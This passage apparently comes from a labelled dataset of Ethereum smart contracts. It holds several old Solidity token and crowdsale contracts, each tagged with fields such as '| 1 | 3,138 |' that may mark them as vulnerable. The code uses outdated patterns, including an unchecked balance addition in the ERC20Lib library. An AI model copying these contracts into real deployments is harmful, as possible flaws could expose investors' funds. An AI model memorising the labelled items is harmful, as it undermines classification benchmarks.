bool public saleClosed = false;
bool private rentrancy_lock = false;
uint public fundingCap;
uint256 public cap;
uint public minContribution;
uint public amountRaised;
uint public refundAmount;
uint public startTime;
uint public deadline;
uint public capTime;
address public beneficiary;
QuantstampToken public tokenReward;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public mainsaleBalanceOf;
mapping(address => bool) public registry;
event CapReached(address _beneficiary, uint _amountRaised);
event FundTransfer(address _backer, uint _amount, bool _isContribution);
event RegistrationStatusChanged(address target, bool isRegistered);
modifier beforeDeadline() { require (currentTime() < deadline); _; }
modifier afterDeadline() { require (currentTime() >= deadline); _; }
modifier afterStartTime() { require (currentTime() >= startTime); _; }
modifier saleNotClosed() { require (!saleClosed); _; }
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
function QuantstampMainSale(
address ifSuccessfulSendTo,
uint fundingCapInEthers,
uint minimumContributionInWei,
uint start,
uint durationInMinutes,
uint initialCap,
uint capDurationInMinutes,
address addressOfTokenUsedAsReward
) {
require(ifSuccessfulSendTo != address(0) && ifSuccessfulSendTo != address(this));
require(addressOfTokenUsedAsReward != address(0) && addressOfTokenUsedAsReward != address(this));
require(durationInMinutes > 0);
beneficiary = ifSuccessfulSendTo;
fundingCap = fundingCapInEthers * 1 ether;
minContribution = minimumContributionInWei;
startTime = start;
deadline = start + (durationInMinutes * 1 minutes);
capTime = start + (capDurationInMinutes * 1 minutes);
cap = initialCap * 1 ether;
tokenReward = QuantstampToken(addressOfTokenUsedAsReward);
}
function () payable {
buy();
}
function buy()
payable
public
whenNotPaused
beforeDeadline
afterStartTime
saleNotClosed
nonReentrant
{
uint amount = msg.value;
require(amount >= minContribution);
require(registry[msg.sender]);
amountRaised = amountRaised.add(amount);
if(amountRaised > fundingCap){
uint overflow = amountRaised.sub(fundingCap);
amount = amount.sub(overflow);
amountRaised = fundingCap;
msg.sender.transfer(overflow);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(amount);
mainsaleBalanceOf[msg.sender] = mainsaleBalanceOf[msg.sender].add(amount);
if (currentTime() <= capTime) {
require(tx.gasprice <= GAS_LIMIT_IN_WEI);
require(mainsaleBalanceOf[msg.sender] <= cap);
}
if (!tokenReward.transferFrom(tokenReward.owner(), msg.sender, amount.mul(RATE))) {
revert();
}
FundTransfer(msg.sender, amount, true);
updateFundingCap();
}
function setCap(uint _cap) public onlyOwner {
cap = _cap;
}
function registerUser(address contributor)
public
onlyOwner
{
require(contributor != address(0));
registry[contributor] = true;
RegistrationStatusChanged(contributor, true);
}
function deactivate(address contributor)
public
onlyOwner
{
require(registry[contributor]);
registry[contributor] = false;
RegistrationStatusChanged(contributor, false);
}
function registerUsers(address[] contributors)
external
onlyOwner
{
for (uint i = 0; i < contributors.length; i++) {
registerUser(contributors[i]);
}
}
function terminate() external onlyOwner {
saleClosed = true;
}
function allocateTokens(address _to, uint amountWei, uint amountMiniQsp) public
onlyOwner nonReentrant
{
amountRaised = amountRaised.add(amountWei);
require(amountRaised <= fundingCap);
balanceOf[_to] = balanceOf[_to].add(amountWei);
if (!tokenReward.transferFrom(tokenReward.owner(), _to, amountMiniQsp)) {
revert();
}
FundTransfer(_to, amountWei, true);
updateFundingCap();
}
function ownerSafeWithdrawal() external onlyOwner nonReentrant {
uint balanceToSend = this.balance;
beneficiary.transfer(balanceToSend);
FundTransfer(beneficiary, balanceToSend, false);
}
function updateFundingCap() internal {
assert (amountRaised <= fundingCap);
if (amountRaised == fundingCap) {
fundingCapReached = true;
saleClosed = true;
CapReached(beneficiary, amountRaised);
}
}
function currentTime() constant returns (uint _currentTime) {
return now;
}
function setDeadline(uint timestamp) public onlyOwner {
deadline = timestamp;
}
} | 1 | 3,138 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract WhalesburgToken is StandardToken, BurnableToken, Pausable {
using SafeMath for uint256;
string public name = "WhalesburgToken";
string public symbol = "WBT";
uint256 constant public decimals = 18;
uint256 constant dec = 10**decimals;
uint256 public initialSupply = 100000000*dec;
uint256 public availableSupply;
address public crowdsaleAddress;
modifier onlyICO() {
require(msg.sender == crowdsaleAddress);
_;
}
constructor ( ) public {
totalSupply_ = totalSupply_.add(initialSupply);
balances[owner] = balances[owner].add(initialSupply);
availableSupply = totalSupply_;
emit Transfer(address(0x0), owner, initialSupply);
}
function setSaleAddress(address _saleaddress) public onlyOwner{
crowdsaleAddress = _saleaddress;
}
function transferFromICO(address _to, uint256 _value) public onlyICO returns(bool) {
return super.transfer(_to, _value);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
} | 1 | 4,965 |
pragma solidity ^0.4.11;
contract ETHCONEarlyBirdDonation {
address majoolr;
ETHCONEarlyBirdToken token;
uint256 public donations;
mapping (address => uint256) public donationMap;
mapping (address => uint256) public failedDonations;
uint256 public minimum = 3960400000000000000;
event ErrMsg(address indexed _from, string _msg);
event ThxMsg(address indexed _from, string _msg);
modifier andIsMajoolr {
require(msg.sender == majoolr);
_;
}
function(){ ErrMsg(msg.sender, 'No function called'); }
function ETHCONEarlyBirdDonation(address _token){
token = ETHCONEarlyBirdToken(_token);
majoolr = msg.sender;
}
function donate() payable returns (bool){
uint256 totalDonation = donationMap[msg.sender] + msg.value;
if(totalDonation < minimum){
failedDonations[msg.sender] += msg.value;
ErrMsg(msg.sender, "Donation too low, call withdrawDonation()");
return false;
}
bool success = token.transferFrom(majoolr,msg.sender,1);
if(!success){
failedDonations[msg.sender] += msg.value;
ErrMsg(msg.sender, "Transer failed, call withdrawDonation()");
return false;
}
donationMap[msg.sender] += msg.value;
donations += msg.value;
ThxMsg(msg.sender, "Thank you for your donation!");
return true;
}
function generousDonation() payable returns (bool){
uint256 tokensLeft = token.allowance(majoolr, this);
if(tokensLeft == 0){
failedDonations[msg.sender] += msg.value;
ErrMsg(msg.sender, "No more donations here check Majoolr.io, call withdrawDonation()");
return false;
}
donationMap[msg.sender] += msg.value;
donations += msg.value;
ThxMsg(msg.sender, "Thank you for your donation!");
return true;
}
function withdraw() andIsMajoolr {
uint256 amount = donations;
donations = 0;
msg.sender.transfer(amount);
}
function withdrawDonation(){
uint256 amount = failedDonations[msg.sender];
failedDonations[msg.sender] = 0;
msg.sender.transfer(amount);
}
}
contract ETHCONEarlyBirdToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
string public name = "ETHCON-Early-Bird";
string public symbol = "THX";
uint public decimals = 0;
uint public INITIAL_SUPPLY = 600;
event ErrorMsg(string msg);
function ETHCONEarlyBirdToken() {
token.init(INITIAL_SUPPLY);
}
function totalSupply() constant returns (uint) {
return token.totalSupply;
}
function balanceOf(address who) constant returns (uint) {
return token.balanceOf(who);
}
function allowance(address owner, address spender) constant returns (uint) {
return token.allowance(owner, spender);
}
function transfer(address to, uint value) returns (bool ok) {
if(token.balanceOf(to) == 0){
return token.transfer(to, value);
} else {
ErrorMsg("Recipient already has token");
return false;
}
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
if(token.balanceOf(to) == 0){
return token.transferFrom(from, to, value);
} else {
ErrorMsg("Recipient already has token");
return false;
}
}
function approve(address spender, uint value) returns (bool ok) {
return token.approve(spender, value);
}
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library ERC20Lib {
using BasicMathLib for uint256;
struct TokenStorage {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint totalSupply;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event ErrorMsg(string msg);
function init(TokenStorage storage self, uint256 _initial_supply) {
self.totalSupply = _initial_supply;
self.balances[msg.sender] = _initial_supply;
}
function transfer(TokenStorage storage self, address _to, uint256 _value) returns (bool success) {
bool err;
uint256 balance;
(err,balance) = self.balances[msg.sender].minus(_value);
if(err) {
ErrorMsg("Balance too low for transfer");
return false;
}
self.balances[msg.sender] = balance;
self.balances[_to] = self.balances[_to] + _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self,
address _from,
address _to,
uint256 _value)
returns (bool success) {
var _allowance = self.allowed[_from][msg.sender];
bool err;
uint256 balanceOwner;
uint256 balanceSpender;
(err,balanceOwner) = self.balances[_from].minus(_value);
if(err) {
ErrorMsg("Balance too low for transfer");
return false;
}
(err,balanceSpender) = _allowance.minus(_value);
if(err) {
ErrorMsg("Transfer exceeds allowance");
return false;
}
self.balances[_from] = balanceOwner;
self.allowed[_from][msg.sender] = balanceSpender;
self.balances[_to] = self.balances[_to] + _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(TokenStorage storage self, address _owner) constant returns (uint256 balance) {
return self.balances[_owner];
}
function approve(TokenStorage storage self, address _spender, uint256 _value) returns (bool success) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(TokenStorage storage self, address _owner, address _spender) constant returns (uint256 remaining) {
return self.allowed[_owner][_spender];
}
}
library BasicMathLib {
event Err(string typeErr);
function times(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := mul(a,b)
jumpi(allGood, or(iszero(b), eq(div(res,b), a)))
err := 1
res := 0
allGood:
}
if (err)
Err("times func overflow");
}
function dividedBy(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
jumpi(e, iszero(b))
res := div(a,b)
mstore(add(mload(0x40),0x20),res)
return(mload(0x40),0x40)
e:
}
Err("tried to divide by zero");
return (true, 0);
}
function plus(uint256 a, uint256 b) constant returns (bool err, uint256 res) {
assembly{
res := add(a,b)
jumpi(allGood, and(eq(sub(res,b), a), gt(res,b)))
err := 1
res := 0
allGood:
}
if (err)
Err("plus func overflow");
}
function minus(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := sub(a,b)
jumpi(allGood, eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1))
err := 1
res := 0
allGood:
}
if (err)
Err("minus func underflow");
}
} | 1 | 5,371 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract ExtendedERC20 is ERC20 {
function mint(address _to, uint _amount) public returns (bool);
}
contract WizzleInfinityHelper {
function isWhitelisted(address addr) public constant returns (bool);
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
ExtendedERC20 public token;
WizzleInfinityHelper public helper;
uint256 public startTimePre;
uint256 public endTimePre;
uint256 public startTimeIco;
uint256 public endTimeIco;
address public wallet;
uint32 public rate;
uint256 public tokensSoldPre;
uint256 public tokensSoldIco;
uint256 public weiRaised;
uint256 public contributors;
uint256 public preCap;
uint256 public icoCap;
uint8 public preDiscountPercentage;
uint256 public icoDiscountLevel1;
uint256 public icoDiscountLevel2;
uint8 public icoDiscountPercentageLevel1;
uint8 public icoDiscountPercentageLevel2;
uint8 public icoDiscountPercentageLevel3;
function Crowdsale(uint256 _startTimePre, uint256 _endTimePre, uint256 _startTimeIco, uint256 _endTimeIco, uint32 _rate, address _wallet, address _tokenAddress, address _helperAddress) {
require(_startTimePre >= now);
require(_endTimePre >= _startTimePre);
require(_startTimeIco >= _endTimePre);
require(_endTimeIco >= _startTimeIco);
require(_rate > 0);
require(_wallet != address(0));
require(_tokenAddress != address(0));
require(_helperAddress != address(0));
startTimePre = _startTimePre;
endTimePre = _endTimePre;
startTimeIco = _startTimeIco;
endTimeIco = _endTimeIco;
rate = _rate;
wallet = _wallet;
token = ExtendedERC20(_tokenAddress);
helper = WizzleInfinityHelper(_helperAddress);
preCap = 1500 * 10**24;
preDiscountPercentage = 50;
icoCap = 3450 * 10**24;
icoDiscountLevel1 = 500 * 10**24;
icoDiscountLevel2 = 500 * 10**24;
icoDiscountPercentageLevel1 = 40;
icoDiscountPercentageLevel2 = 30;
icoDiscountPercentageLevel3 = 25;
}
function setRate(uint32 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(helper.isWhitelisted(beneficiary));
uint256 weiAmount = msg.value;
require(weiAmount > 0);
uint256 tokenAmount = 0;
if (isPresale()) {
require(weiAmount >= 1 ether);
tokenAmount = getTokenAmount(weiAmount, preDiscountPercentage);
uint256 newTokensSoldPre = tokensSoldPre.add(tokenAmount);
require(newTokensSoldPre <= preCap);
tokensSoldPre = newTokensSoldPre;
} else if (isIco()) {
uint8 discountPercentage = getIcoDiscountPercentage();
tokenAmount = getTokenAmount(weiAmount, discountPercentage);
require(tokenAmount >= 10**18);
uint256 newTokensSoldIco = tokensSoldIco.add(tokenAmount);
require(newTokensSoldIco <= icoCap);
tokensSoldIco = newTokensSoldIco;
} else {
require(false);
}
executeTransaction(beneficiary, weiAmount, tokenAmount);
}
function getIcoDiscountPercentage() internal constant returns (uint8) {
if (tokensSoldIco <= icoDiscountLevel1) {
return icoDiscountPercentageLevel1;
} else if (tokensSoldIco <= icoDiscountLevel1.add(icoDiscountLevel2)) {
return icoDiscountPercentageLevel2;
} else {
return icoDiscountPercentageLevel3;
}
}
function getTokenAmount(uint256 weiAmount, uint8 discountPercentage) internal constant returns (uint256) {
require(discountPercentage >= 0 && discountPercentage < 100);
uint256 baseTokenAmount = weiAmount.mul(rate);
uint256 tokenAmount = baseTokenAmount.mul(10000).div(100 - discountPercentage);
return tokenAmount;
}
function executeTransaction(address beneficiary, uint256 weiAmount, uint256 tokenAmount) internal {
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokenAmount);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);
contributors = contributors.add(1);
wallet.transfer(weiAmount);
}
function changePresaleCap(uint256 _preCap) public onlyOwner {
require(_preCap > 0);
PresaleCapChanged(owner, _preCap);
preCap = _preCap;
}
function changePresaleDiscountPercentage(uint8 _preDiscountPercentage) public onlyOwner {
require(_preDiscountPercentage >= 0 && _preDiscountPercentage < 100);
PresaleDiscountPercentageChanged(owner, _preDiscountPercentage);
preDiscountPercentage = _preDiscountPercentage;
}
function changePresaleTimeRange(uint256 _startTimePre, uint256 _endTimePre) public onlyOwner {
require(_endTimePre >= _startTimePre);
PresaleTimeRangeChanged(owner, _startTimePre, _endTimePre);
startTimePre = _startTimePre;
endTimePre = _endTimePre;
}
function changeIcoCap(uint256 _icoCap) public onlyOwner {
require(_icoCap > 0);
IcoCapChanged(owner, _icoCap);
icoCap = _icoCap;
}
function changeIcoTimeRange(uint256 _startTimeIco, uint256 _endTimeIco) public onlyOwner {
require(_endTimeIco >= _startTimeIco);
IcoTimeRangeChanged(owner, _startTimeIco, _endTimeIco);
startTimeIco = _startTimeIco;
endTimeIco = _endTimeIco;
}
function changeIcoDiscountLevels(uint256 _icoDiscountLevel1, uint256 _icoDiscountLevel2) public onlyOwner {
require(_icoDiscountLevel1 > 0 && _icoDiscountLevel2 > 0);
IcoDiscountLevelsChanged(owner, _icoDiscountLevel1, _icoDiscountLevel2);
icoDiscountLevel1 = _icoDiscountLevel1;
icoDiscountLevel2 = _icoDiscountLevel2;
}
function changeIcoDiscountPercentages(uint8 _icoDiscountPercentageLevel1, uint8 _icoDiscountPercentageLevel2, uint8 _icoDiscountPercentageLevel3) public onlyOwner {
require(_icoDiscountPercentageLevel1 >= 0 && _icoDiscountPercentageLevel1 < 100);
require(_icoDiscountPercentageLevel2 >= 0 && _icoDiscountPercentageLevel2 < 100);
require(_icoDiscountPercentageLevel3 >= 0 && _icoDiscountPercentageLevel3 < 100);
IcoDiscountPercentagesChanged(owner, _icoDiscountPercentageLevel1, _icoDiscountPercentageLevel2, _icoDiscountPercentageLevel3);
icoDiscountPercentageLevel1 = _icoDiscountPercentageLevel1;
icoDiscountPercentageLevel2 = _icoDiscountPercentageLevel2;
icoDiscountPercentageLevel3 = _icoDiscountPercentageLevel3;
}
function isPresale() public constant returns (bool) {
return now >= startTimePre && now <= endTimePre;
}
function isIco() public constant returns (bool) {
return now >= startTimeIco && now <= endTimeIco;
}
function hasPresaleEnded() public constant returns (bool) {
return now > endTimePre;
}
function hasIcoEnded() public constant returns (bool) {
return now > endTimeIco;
}
function cummulativeTokensSold() public constant returns (uint256) {
return tokensSoldPre + tokensSoldIco;
}
function claimTokens(address _token) public onlyOwner {
if (_token == address(0)) {
owner.transfer(this.balance);
return;
}
ERC20 erc20Token = ERC20(_token);
uint balance = erc20Token.balanceOf(this);
erc20Token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
event TokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount);
event PresaleTimeRangeChanged(address indexed _owner, uint256 _startTimePre, uint256 _endTimePre);
event PresaleCapChanged(address indexed _owner, uint256 _preCap);
event PresaleDiscountPercentageChanged(address indexed _owner, uint8 _preDiscountPercentage);
event IcoCapChanged(address indexed _owner, uint256 _icoCap);
event IcoTimeRangeChanged(address indexed _owner, uint256 _startTimeIco, uint256 _endTimeIco);
event IcoDiscountLevelsChanged(address indexed _owner, uint256 _icoDiscountLevel1, uint256 _icoDiscountLevel2);
event IcoDiscountPercentagesChanged(address indexed _owner, uint8 _icoDiscountPercentageLevel1, uint8 _icoDiscountPercentageLevel2, uint8 _icoDiscountPercentageLevel3);
event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount);
}
contract WizzleInfinityTokenCrowdsale is Crowdsale {
function WizzleInfinityTokenCrowdsale(uint256 _startTimePre, uint256 _endTimePre, uint256 _startTimeIco, uint256 _endTimeIco, uint32 _rate, address _wallet, address _tokenAddress, address _helperAddress)
Crowdsale(_startTimePre, _endTimePre, _startTimeIco, _endTimeIco, _rate, _wallet, _tokenAddress, _helperAddress) public {
}
} | 1 | 4,905 |
pragma solidity ^0.4.18;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract BTTSTokenInterface is ERC20Interface {
uint public constant bttsVersion = 100;
bytes public constant signingPrefix = "\x19Ethereum Signed Message:\n32";
bytes4 public constant signedTransferSig = "\x75\x32\xea\xac";
bytes4 public constant signedApproveSig = "\xe9\xaf\xa7\xa1";
bytes4 public constant signedTransferFromSig = "\x34\x4b\xcc\x7d";
bytes4 public constant signedApproveAndCallSig = "\xf1\x6f\x9b\x53";
event OwnershipTransferred(address indexed from, address indexed to);
event MinterUpdated(address from, address to);
event Mint(address indexed tokenOwner, uint tokens, bool lockAccount);
event MintingDisabled();
event TransfersEnabled();
event AccountUnlocked(address indexed tokenOwner);
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success);
function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash);
function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce) public view returns (bytes32 hash);
function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result);
function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success);
function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success);
function unlockAccount(address tokenOwner) public;
function disableMinting() public;
function enableTransfers() public;
enum CheckResult {
Success,
NotTransferable,
AccountLocked,
SignerMismatch,
AlreadyExecuted,
InsufficientApprovedTokens,
InsufficientApprovedTokensForFees,
InsufficientTokens,
InsufficientTokensForFees,
OverflowError
}
}
contract BonusListInterface {
mapping(address => uint) public bonusList;
}
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract GazeCoinCrowdsale is SafeMath, Owned {
BTTSTokenInterface public bttsToken;
uint8 public constant TOKEN_DECIMALS = 18;
address public wallet = 0x8cD8baa410E9172b949f2c4433D3b5905F8606fF;
address public teamWallet = 0xb4eC550893D31763C02EBDa44Dff90b7b5a62656;
uint public constant TEAM_PERCENT_GZE = 30;
BonusListInterface public bonusList;
uint public constant TIER1_BONUS = 50;
uint public constant TIER2_BONUS = 20;
uint public constant TIER3_BONUS = 15;
uint public constant START_DATE = 1512921600;
uint public endDate = 1513872000;
uint public usdPerKEther = 489440;
uint public constant USD_CENT_PER_GZE = 35;
uint public constant CAP_USD = 35000000;
uint public constant MIN_CONTRIBUTION_ETH = 0.01 ether;
uint public contributedEth;
uint public contributedUsd;
uint public generatedGze;
uint public lockedAccountThresholdUsd = 7500;
mapping(address => uint) public accountEthAmount;
bool public precommitmentAdjusted;
bool public finalised;
event BTTSTokenUpdated(address indexed oldBTTSToken, address indexed newBTTSToken);
event WalletUpdated(address indexed oldWallet, address indexed newWallet);
event TeamWalletUpdated(address indexed oldTeamWallet, address indexed newTeamWallet);
event BonusListUpdated(address indexed oldBonusList, address indexed newBonusList);
event EndDateUpdated(uint oldEndDate, uint newEndDate);
event UsdPerKEtherUpdated(uint oldUsdPerKEther, uint newUsdPerKEther);
event LockedAccountThresholdUsdUpdated(uint oldEthLockedThreshold, uint newEthLockedThreshold);
event Contributed(address indexed addr, uint ethAmount, uint ethRefund, uint accountEthAmount, uint usdAmount, uint gzeAmount, uint contributedEth, uint contributedUsd, uint generatedGze, bool lockAccount);
function GazeCoinCrowdsale() public {
}
function setBTTSToken(address _bttsToken) public onlyOwner {
require(now <= START_DATE);
BTTSTokenUpdated(address(bttsToken), _bttsToken);
bttsToken = BTTSTokenInterface(_bttsToken);
}
function setWallet(address _wallet) public onlyOwner {
WalletUpdated(wallet, _wallet);
wallet = _wallet;
}
function setTeamWallet(address _teamWallet) public onlyOwner {
TeamWalletUpdated(teamWallet, _teamWallet);
teamWallet = _teamWallet;
}
function setBonusList(address _bonusList) public onlyOwner {
require(now <= START_DATE);
BonusListUpdated(address(bonusList), _bonusList);
bonusList = BonusListInterface(_bonusList);
}
function setEndDate(uint _endDate) public onlyOwner {
require(_endDate >= now);
EndDateUpdated(endDate, _endDate);
endDate = _endDate;
}
function setUsdPerKEther(uint _usdPerKEther) public onlyOwner {
require(now <= START_DATE);
UsdPerKEtherUpdated(usdPerKEther, _usdPerKEther);
usdPerKEther = _usdPerKEther;
}
function setLockedAccountThresholdUsd(uint _lockedAccountThresholdUsd) public onlyOwner {
require(now <= START_DATE);
LockedAccountThresholdUsdUpdated(lockedAccountThresholdUsd, _lockedAccountThresholdUsd);
lockedAccountThresholdUsd = _lockedAccountThresholdUsd;
}
function capEth() public view returns (uint) {
return CAP_USD * 10**uint(3 + 18) / usdPerKEther;
}
function gzeFromEth(uint ethAmount, uint bonusPercent) public view returns (uint) {
return usdPerKEther * ethAmount * (100 + bonusPercent) / 10**uint(3 + 2 - 2) / USD_CENT_PER_GZE;
}
